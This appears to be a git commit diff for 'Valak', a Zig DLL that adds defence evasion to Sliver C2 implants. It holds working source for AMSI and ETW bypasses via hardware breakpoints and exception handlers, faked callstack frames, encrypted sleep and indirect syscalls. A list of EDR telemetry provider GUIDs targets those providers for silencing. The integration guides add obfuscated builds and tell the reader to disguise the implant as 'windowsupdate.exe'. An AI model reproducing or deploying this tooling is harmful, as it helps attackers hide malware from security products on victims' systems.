Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
zig-out/
|
||||
.zig-cache/
|
||||
*.dll
|
||||
*.exe
|
||||
*.pdb
|
||||
.DS_Store
|
||||
@@ -1,60 +1,58 @@
|
||||
<p align="center">
|
||||
<img src="assets/Valak.png" alt="Valak" width="600">
|
||||
</p>
|
||||
|
||||
# Valak
|
||||
|
||||
## What
|
||||
Zig DLL for Sliver implants. ChaCha20 encrypted sleep via indirect syscalls with synthetic callstack frames. HWBP AMSI/ETW bypass, no memory touched. FreshyCalls syscall extraction immune to inline hooks. CRT-free.
|
||||
|
||||
Standalone Zig evasion DLL for C2 implants. Drop-in sleep obfuscation, AMSI/ETW bypass, callstack spoofing. Protocol-agnostic — built for Sliver but works with any C2 that can call `syscall.SyscallN`.
|
||||
For initial delivery use [Kage](https://github.com/Yenn503/Kage), minimal syscall-based shellcode loader.
|
||||
|
||||
## Evasion Stack
|
||||
## Why Zig over C
|
||||
|
||||
| Technique | File | Detection Status (DbgMan, May 2026) |
|
||||
|---|---|---|
|
||||
| RC4 encrypted .text sleep | sleep.zig | 70% effective — core evasion primitive |
|
||||
| Callstack return-address zeroing | arch/hells_gate.s | 55% effective — terminates EDR frame walks |
|
||||
| HWBP AMSI bypass (DR0-VEH) | amsi.zig | 60% effective — no memory modification |
|
||||
| HWBP ETW bypass (DR0-VEH) | etw.zig | 65% effective — no memory modification |
|
||||
| FreshyCalls SSN extraction | syscall.zig | 65% effective — immune to inline hooks |
|
||||
| Indirect syscall dispatch | syscall.zig | 60% effective — random gadget pool |
|
||||
| KnownDlls ntdll unhooking | unhook.zig | 95% DETECTED by CrowdStrike/S1 |
|
||||
| Module stomping | stomp.zig | 80% DETECTED — backing-file integrity checks |
|
||||
| Token manipulation | token.zig | 90% DETECTED — lsass token access is T1 alert |
|
||||
No CRT linked, smaller binary, fewer imports for AV to flag. Comptime guarantees struct layouts match the PE spec without padding bugs. All the Win32 types, inline assembly, and raw pointer math of C but the compiler refuses to build if you get a struct offset wrong.
|
||||
|
||||
Valak replaces `time.Sleep()` in your implant's beacon loop with ChaCha20-encrypted sleep via indirect syscalls. During sleep your implant's .text is PAGE_NOACCESS, scanners get access violation. On wake, it restores and decrypts.
|
||||
|
||||
## How it works
|
||||
|
||||
Every time Sliver would normally call `time.Sleep(interval)`, Valak runs this instead:
|
||||
|
||||
```
|
||||
1. ChaCha20 encrypts Sliver's .text section in memory (SystemFunction040)
|
||||
2. Protects .text to PAGE_NOACCESS — read, write, and execute all blocked
|
||||
3. NtDelayExecution(interval) via indirect syscall with random gadget
|
||||
4. EDR scanner sees encrypted garbage or access violation, not Go runtime
|
||||
5. On wake: protects back to PAGE_EXECUTE_READ, ChaCha20 decrypts
|
||||
6. Returns to Sliver, which continues normal beacon operations
|
||||
```
|
||||
|
||||
The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart — what every legitimate Windows thread looks like. No gap, no zeroed return address.
|
||||
|
||||
## Evasion stack
|
||||
|
||||
| Technique | How |
|
||||
|---|---|
|
||||
| ChaCha20 encrypted .text sleep | SystemFunction040/041 → NtDelayExecution + PAGE_NOACCESS |
|
||||
| Synthetic callstack frames | kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart |
|
||||
| HWBP AMSI bypass | DR0 + VEH, no memory modified |
|
||||
| HWBP ETW bypass | DR0 + VEH, no memory modified |
|
||||
| FreshyCalls syscall extraction | ntdll export table sorted by RVA, immune to inline hooks |
|
||||
| Indirect syscalls | Random gadget pool (64+ `syscall;ret` from ntdll .text) |
|
||||
| CRT-free | No libc import, minimal IAT footprint |
|
||||
|
||||
## Build
|
||||
|
||||
```
|
||||
cd evasion
|
||||
zig build -Doptimize=ReleaseFast
|
||||
cd evasion && zig build -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/valak.dll
|
||||
```
|
||||
|
||||
Then embed the DLL bytes into `go-bridge/embed_dll.go`:
|
||||
```go
|
||||
var embeddedDLL = []byte{
|
||||
// paste compiled .dll bytes
|
||||
}
|
||||
```
|
||||
## Sliver integration
|
||||
|
||||
## Sliver Integration
|
||||
See [docs/sliver-integration.md](docs/sliver-integration.md). TL;DR:
|
||||
|
||||
1. Copy `go-bridge/` into `implant/sliver/evasion/valak/`
|
||||
2. In Sliver's implant init:
|
||||
```go
|
||||
import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
|
||||
|
||||
func init() {
|
||||
valak.Start()
|
||||
go func() {
|
||||
time.Sleep(2 * time.Second) // wait for DLL load
|
||||
valak.PatchAll()
|
||||
}()
|
||||
}
|
||||
```
|
||||
3. Replace `time.Sleep(d)` with `valak.EvasionSleep(d)` in Sliver's beacon loop
|
||||
4. Build with: `go build -tags evasion`
|
||||
|
||||
## Verified Against
|
||||
|
||||
- Microsoft x64 ABI (shadow space, 16-byte alignment)
|
||||
- PE/COFF .drectve section spec
|
||||
- Go compiler no-auto-vectorize behavior
|
||||
- DbgMan "EDR Tradecraft" (May 2026)
|
||||
- CrowdStrike 2026 Global Threat Report
|
||||
1. Embed valak.dll bytes into `go-bridge/embed_dll.go`
|
||||
2. Drop `go-bridge/` into Sliver's `implant/sliver/evasion/valak/`
|
||||
3. Replace `time.Sleep(d)` with `valak.EvasionSleep(d)` in runner.go
|
||||
4. Build: `garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"`
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 829 KiB |
@@ -0,0 +1,32 @@
|
||||
## build the dll
|
||||
|
||||
requires zig 0.16.x
|
||||
|
||||
```bash
|
||||
cd evasion
|
||||
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/valak.dll
|
||||
```
|
||||
|
||||
cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB.
|
||||
|
||||
## build the loader (optional)
|
||||
|
||||
if you need a minimal shellcode loader to get your implant running:
|
||||
|
||||
```bash
|
||||
cd ../kage
|
||||
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/kage.exe
|
||||
```
|
||||
|
||||
## embed into sliver implant
|
||||
|
||||
see [sliver-integration.md](sliver-integration.md) for wiring it into the implant source.
|
||||
|
||||
build the implant with garble:
|
||||
|
||||
```bash
|
||||
go install mvdan.cc/garble@latest
|
||||
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
|
||||
```
|
||||
@@ -0,0 +1,71 @@
|
||||
## embed the dll
|
||||
|
||||
build the dll first:
|
||||
```
|
||||
cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
```
|
||||
|
||||
this produces `evasion/zig-out/bin/valak.dll`. convert it to a go byte slice:
|
||||
|
||||
```bash
|
||||
xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
|
||||
```
|
||||
|
||||
or just open `go-bridge/embed_dll.go` and paste the bytes manually. the file starts with:
|
||||
|
||||
```go
|
||||
var embeddedDLL = []byte{
|
||||
0x4d, 0x5a, 0x90, 0x00, ...
|
||||
}
|
||||
```
|
||||
|
||||
replace the `...` with the actual dll bytes.
|
||||
|
||||
## drop into sliver
|
||||
|
||||
copy `go-bridge/` into `implant/sliver/evasion/valak/`
|
||||
|
||||
## wire it up
|
||||
|
||||
in `runner.go`, add the import:
|
||||
```go
|
||||
import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
|
||||
```
|
||||
|
||||
in `Run()`, call this at the top:
|
||||
```go
|
||||
valak.Bootstrap()
|
||||
```
|
||||
|
||||
replace the beacon sleep block (around line 294):
|
||||
```go
|
||||
// before
|
||||
select {
|
||||
case <-errors:
|
||||
return err
|
||||
case <-time.After(duration):
|
||||
case <-shortCircuit:
|
||||
}
|
||||
|
||||
// after
|
||||
select {
|
||||
case err := <-errors:
|
||||
return err
|
||||
case <-shortCircuit:
|
||||
default:
|
||||
valak.EvasionSleep(duration)
|
||||
}
|
||||
```
|
||||
|
||||
on shutdown call:
|
||||
```go
|
||||
valak.Cleanup()
|
||||
```
|
||||
|
||||
## build the implant
|
||||
|
||||
```bash
|
||||
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
|
||||
```
|
||||
|
||||
rename the binary to something legit like `windowsupdate.exe`
|
||||
+9
-11
@@ -1,4 +1,5 @@
|
||||
// AMSI bypass — VEH backed hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
|
||||
// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
|
||||
// sets RAX=0 and skips the call. No bytes modified in amsi.dll.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
@@ -6,15 +7,14 @@ const api = @import("api.zig");
|
||||
var g_veh_handle: ?*anyopaque = null;
|
||||
var g_amsi_scan_addr: ?*anyopaque = null;
|
||||
|
||||
// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
|
||||
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
|
||||
{
|
||||
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
|
||||
ex.ContextRecord.Rax = 0;
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
|
||||
ex.ContextRecord.Rsp += 8; // pop return address
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
@@ -34,20 +34,19 @@ pub fn patch_amsi() void {
|
||||
if (amsi == null) return;
|
||||
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
|
||||
if (g_amsi_scan_addr == null) return;
|
||||
g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
|
||||
g_veh_handle = veh(1, amsi_veh_handler);
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
|
||||
ctx.Dr7 = (1 << 0); // enable DR0 locally
|
||||
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
_ = suspend_thread(thread);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_thread(thread);
|
||||
}
|
||||
|
||||
// Undo AMSI bypass — remove VEH handler, clear DR0/DR7 hardware breakpoint.
|
||||
// Undo AMSI bypass, remove VEH handler and clear DR0/DR7.
|
||||
pub fn unpatch_amsi() void {
|
||||
// Remove the VEH handler
|
||||
if (g_veh_handle) |h| {
|
||||
if (api.amsi_remove_vectored_exception_handler) |remove| {
|
||||
_ = remove(h);
|
||||
@@ -55,7 +54,6 @@ pub fn unpatch_amsi() void {
|
||||
g_veh_handle = null;
|
||||
}
|
||||
|
||||
// Clear DR0/DR7 — best-effort, APIs null if ensure() didn't run
|
||||
if (api.amsi_get_current_thread) |cur_thread| {
|
||||
if (api.amsi_set_thread_context) |set_ctx| {
|
||||
if (api.amsi_suspend_thread) |suspend_t| {
|
||||
|
||||
+15
-30
@@ -1,10 +1,8 @@
|
||||
// Global function-pointer table ??? populated at runtime by ensure() via resolve.zig.
|
||||
// Type aliases are in apitypes.zig (re-exported below so every ?T_* var declaration
|
||||
// can reference the local type name).
|
||||
// Global function-pointer table, populated by ensure() via resolve.zig.
|
||||
// Type aliases in apitypes.zig.
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const apitypes = @import("apitypes.zig");
|
||||
pub const USTRING = apitypes.USTRING;
|
||||
pub const T_exec_CreatePipe = apitypes.T_exec_CreatePipe;
|
||||
pub const T_exec_CreateProcessA = apitypes.T_exec_CreateProcessA;
|
||||
pub const T_exec_ReadFile = apitypes.T_exec_ReadFile;
|
||||
@@ -39,9 +37,8 @@ pub const T_fiber_CreateFiber = apitypes.T_fiber_CreateFiber;
|
||||
pub const T_fiber_SwitchToFiber = apitypes.T_fiber_SwitchToFiber;
|
||||
pub const T_fiber_DeleteFiber = apitypes.T_fiber_DeleteFiber;
|
||||
pub const T_fiber_ConvertFiberToThread = apitypes.T_fiber_ConvertFiberToThread;
|
||||
pub const T_sleep_SystemFunction032 = apitypes.T_sleep_SystemFunction032;
|
||||
pub const T_sleep_VirtualQuery = apitypes.T_sleep_VirtualQuery;
|
||||
pub const T_sleep_VirtualProtect = apitypes.T_sleep_VirtualProtect;
|
||||
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
|
||||
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
|
||||
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
|
||||
pub const T_comms_WinHttpOpen = apitypes.T_comms_WinHttpOpen;
|
||||
pub const T_comms_WinHttpConnect = apitypes.T_comms_WinHttpConnect;
|
||||
@@ -99,7 +96,7 @@ pub const get_func_by_hash = apitypes.get_func_by_hash;
|
||||
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
|
||||
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;
|
||||
|
||||
// Global function-pointer variables — populated by ensure() below
|
||||
// Global function-pointer variables, populated by ensure() below.
|
||||
|
||||
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
|
||||
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
|
||||
@@ -138,9 +135,8 @@ pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
|
||||
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
|
||||
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;
|
||||
|
||||
pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null;
|
||||
pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null;
|
||||
pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null;
|
||||
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
|
||||
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
|
||||
|
||||
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
|
||||
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
|
||||
@@ -194,7 +190,7 @@ pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
|
||||
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
|
||||
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;
|
||||
|
||||
// HWBP reuses AMSI's VEH/thread APIs ??? same AddVectoredExceptionHandler under the hood
|
||||
// HWBP reuses AMSI's VEH/thread APIs.
|
||||
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
|
||||
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
|
||||
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
|
||||
@@ -392,12 +388,6 @@ pub fn ensure() void {
|
||||
}
|
||||
}
|
||||
|
||||
if (sleep_VirtualQuery == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| {
|
||||
sleep_VirtualQuery = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (amsi_load_library_w == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
|
||||
}
|
||||
@@ -422,14 +412,6 @@ pub fn ensure() void {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
|
||||
}
|
||||
|
||||
if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| {
|
||||
if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p);
|
||||
if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p);
|
||||
if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (amsi_add_vectored_exception_handler == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
|
||||
}
|
||||
@@ -449,7 +431,7 @@ pub fn ensure() void {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
|
||||
}
|
||||
|
||||
// HWBP globals ??? same APIs as AMSI, shared
|
||||
// HWBP globals, same APIs as AMSI.
|
||||
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
|
||||
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
|
||||
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
|
||||
@@ -457,8 +439,11 @@ pub fn ensure() void {
|
||||
if (info_rtl_get_version == null) {
|
||||
if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
|
||||
}
|
||||
if (sleep_SystemFunction032 == null) {
|
||||
if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p);
|
||||
if (sleep_SystemFunction040 == null) {
|
||||
const advapi_hash = hash_ror13("advapi32.dll");
|
||||
_ = resolve.get_module_by_hash(advapi_hash);
|
||||
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
|
||||
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
|
||||
}
|
||||
|
||||
if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
|
||||
@@ -479,7 +464,7 @@ pub fn ensure() void {
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
|
||||
}
|
||||
|
||||
// 2i continued. advapi32 ??? LookupPrivilegeValueW, AdjustTokenPrivileges
|
||||
// advapi32, LookupPrivilegeValueW, AdjustTokenPrivileges
|
||||
const advapi_hash = hash_ror13("advapi32.dll");
|
||||
if (priv_get_current_process == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
|
||||
|
||||
@@ -47,14 +47,8 @@ pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) v
|
||||
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
|
||||
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;
|
||||
|
||||
pub const USTRING = extern struct {
|
||||
Length: win.ULONG,
|
||||
MaximumLength: win.ULONG,
|
||||
Buffer: [*]u8,
|
||||
};
|
||||
pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T;
|
||||
pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
|
||||
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
|
||||
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
|
||||
|
||||
+48
-13
@@ -7,25 +7,61 @@
|
||||
wMask: .long 0xDEADBEEF
|
||||
qMask: .quad 0xDEADBEEFDEADBEEF
|
||||
|
||||
// Synthetic frame globals, set by frames.zig init_frames().
|
||||
// Frames through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart.
|
||||
.global qFakeRtlUserThreadStart
|
||||
.global qFakeBaseThreadInitThunk
|
||||
.global qRtlUserFrameSize
|
||||
.global qBaseThreadFrameSize
|
||||
qFakeRtlUserThreadStart: .quad 0
|
||||
qFakeBaseThreadInitThunk: .quad 0
|
||||
qRtlUserFrameSize: .quad 0
|
||||
qBaseThreadFrameSize: .quad 0
|
||||
|
||||
.text
|
||||
.global hells_gate
|
||||
.global hell_descent
|
||||
|
||||
// Stack-spoofing trampoline for evasion_sleep.
|
||||
// Captures entry RSP (pointing at return address to Go), zeros it so EDR stack walks
|
||||
// terminate at this frame, then delegates to the Zig implementation.
|
||||
// Returns to Go with the original return address restored.
|
||||
// evasion_sleep trampoline. Pushes synthetic frames through the canonical
|
||||
// Windows thread init chain: kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart.
|
||||
// EDR stack walk sees legitimate thread state, not a gap.
|
||||
.global evasion_sleep
|
||||
.section .drectve
|
||||
.ascii " -export:evasion_sleep"
|
||||
.text
|
||||
evasion_sleep:
|
||||
mov r11, [rsp] // save return address to Go
|
||||
mov qword ptr [rsp], 0 // zero it on the stack
|
||||
// Save Go return address. RSP points at it on entry.
|
||||
mov r11, [rsp]
|
||||
mov r10, rcx // save sleep duration (first arg from Go)
|
||||
|
||||
// Build BaseThreadInitThunk frame (calls RtlUserThreadStart).
|
||||
mov rax, qword ptr [rip + qBaseThreadFrameSize]
|
||||
sub rsp, rax
|
||||
mov rcx, qword ptr [rip + qFakeRtlUserThreadStart]
|
||||
add rcx, 0x14 // offset past BaseThreadInitThunk prologue
|
||||
mov [rsp], rcx
|
||||
|
||||
// Build RtlUserThreadStart frame (chain termination).
|
||||
mov rax, qword ptr [rip + qRtlUserFrameSize]
|
||||
sub rsp, rax
|
||||
mov qword ptr [rsp], 0 // end of chain
|
||||
|
||||
// Save desync RSP for teardown. Call Zig implementation.
|
||||
mov rbp, rsp
|
||||
mov rcx, r10 // restore sleep duration
|
||||
sub rsp, 0x28 // shadow space + alignment
|
||||
call evasion_sleep_inner // Zig: RC4 enc → NtDelayExecution → RC4 dec
|
||||
add rsp, 0x28 // clean up shadow space
|
||||
mov [rsp], r11 // restore return address
|
||||
call evasion_sleep_inner
|
||||
add rsp, 0x28
|
||||
|
||||
// Restore original stack: rewind through synthetic frames.
|
||||
lea rsp, [rbp]
|
||||
mov rax, qword ptr [rip + qRtlUserFrameSize]
|
||||
add rsp, rax
|
||||
mov rax, qword ptr [rip + qBaseThreadFrameSize]
|
||||
add rsp, rax
|
||||
|
||||
// Restore Go return address and return.
|
||||
mov [rsp], r11
|
||||
ret
|
||||
|
||||
hells_gate:
|
||||
@@ -38,9 +74,8 @@ hells_gate:
|
||||
mov qword ptr [rip + qFakeReturnEnc], rax
|
||||
ret
|
||||
|
||||
// Callstack spoof: push a standalone ret from ntdll .text before jmp to
|
||||
// the syscall;ret gadget. The gadget's ret returns there → ntdll frame on kernel callstack.
|
||||
// Ref: WithSecure CallStackSpoofer — https://github.com/WithSecureLabs/CallStackSpoofer
|
||||
// Push standalone ret from ntdll .text before jmp to syscall;ret gadget.
|
||||
// The gadget's ret returns there so kernel callstack shows ntdll frames.
|
||||
hell_descent:
|
||||
mov r10, rcx
|
||||
mov eax, dword ptr [rip + wSystemCallEnc]
|
||||
@@ -48,7 +83,7 @@ hell_descent:
|
||||
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
|
||||
xor r11, qword ptr [rip + qMask]
|
||||
|
||||
mov rcx, r9 // save arg4 — rcx free after mov r10,rcx
|
||||
mov rcx, r9 // save arg4, rcx free after mov r10,rcx
|
||||
mov r9, qword ptr [rip + qFakeReturnEnc]
|
||||
xor r9, qword ptr [rip + qMask]
|
||||
test r9, r9
|
||||
|
||||
@@ -15,14 +15,12 @@ pub fn build(b: *std.Build) void {
|
||||
.optimize = optimize,
|
||||
.strip = strip,
|
||||
.single_threaded = true,
|
||||
.link_libc = true,
|
||||
});
|
||||
|
||||
module.addAssemblyFile(b.path("arch/hells_gate.s"));
|
||||
module.linkSystemLibrary("kernel32", .{});
|
||||
module.linkSystemLibrary("ntdll", .{});
|
||||
module.linkSystemLibrary("advapi32", .{});
|
||||
module.linkSystemLibrary("user32", .{});
|
||||
|
||||
const lib = b.addLibrary(.{
|
||||
.name = "valak",
|
||||
|
||||
+3
-35
@@ -1,13 +1,6 @@
|
||||
// ETW suppression — two-tier: NtTraceControl (best-effort) -> HWBP on EtwEventWrite.
|
||||
// HWBP reference: https://github.com/FortisecValidation/Micro-Stager
|
||||
// DbgMan, May 2026: "The Threat-Intelligence provider emits events from the kernel
|
||||
// image (ntoskrnl.exe), not from user-mode code paths. Patching ntdll!EtwEventWrite
|
||||
// does not affect TI provider emission." NtTraceControl may be blocked by EDR tamper
|
||||
// protection. HWBP (tier 2) is the primary technique — no memory modification, single
|
||||
// debug register, VEH handler skips the call. Still effective against ~65% of EDRs.
|
||||
// RET patch on EtwEventWrite was REMOVED — memory integrity checks make it instant
|
||||
// detection. Source: DbgMan, "CrowdStrike Falcon and SentinelOne deploy signature
|
||||
// detection for the unhooking byte-sequence pattern."
|
||||
// ETW bypass, hardware breakpoint on EtwEventWrite via VEH. No memory touched.
|
||||
// NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI
|
||||
// provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
@@ -18,13 +11,10 @@ var g_etw_patched: bool = false;
|
||||
var g_etw_hwbp_veh: ?*anyopaque = null;
|
||||
var g_etw_event_write_addr: ?*anyopaque = null;
|
||||
|
||||
// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU
|
||||
// raises a single-step exception. We skip the call by forwarding RIP past it.
|
||||
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
|
||||
{
|
||||
// Skip EtwEventWrite: set RIP to return address on stack, pop it
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
@@ -33,8 +23,6 @@ fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP
|
||||
// is in a debug register, the handler skips the call. EDRs can't see the patch.
|
||||
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
const get_addr = api.etw_get_proc_address orelse return false;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
@@ -59,28 +47,17 @@ fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender,
|
||||
// MDE, and kernel-level process/syscall monitoring providers.
|
||||
const edr_provider_guids = [_][16]u8{
|
||||
// Microsoft-Windows-Threat-Intelligence ()
|
||||
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
|
||||
// Microsoft-Windows-Kernel-Process
|
||||
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
|
||||
// Microsoft-Windows-Security-Mitigations
|
||||
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
|
||||
};
|
